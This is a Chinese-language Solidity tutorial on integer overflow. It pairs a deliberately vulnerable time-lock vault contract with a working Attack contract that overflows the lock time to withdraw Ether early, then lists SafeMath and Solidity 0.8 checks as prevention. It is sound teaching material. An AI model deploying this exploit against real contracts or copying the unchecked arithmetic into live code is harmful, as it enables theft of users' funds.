# 算术溢出和下溢

## 安全隐患

solidity < 0.8
Solidity 溢出/下溢中的整数没有任何错误

solidity >= 0.8
Solidity 0.8 对溢出/下溢的默认行为会抛出错误。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 这份合约被设计为一个基于时间的保险库。
// 用户可以在此合约中存入，但至少一周内不能提取。
// 用户也可以在1周的等待期之外延长等待时间。

/*
1. 部署 TimeLock
2. 部署 Attack，地址为 TimeLock
3. 调用 Attack.attack 发送 1 ether. 你马上就能提取你的以太币。

发生了什么?
攻击导致 TimeLock.lockTime 溢出，从而可以在1周的等待期前提取
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        如果 t 是当前的 lock time 那么我们需要找到 x 使得
        x + t = 2**256 = 0
        所以 x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}
```

## 预防技术

+ 使用 SafeMath 将防止算术溢出和下溢
+ Solidity 0.8 默认为溢出/下溢抛出错误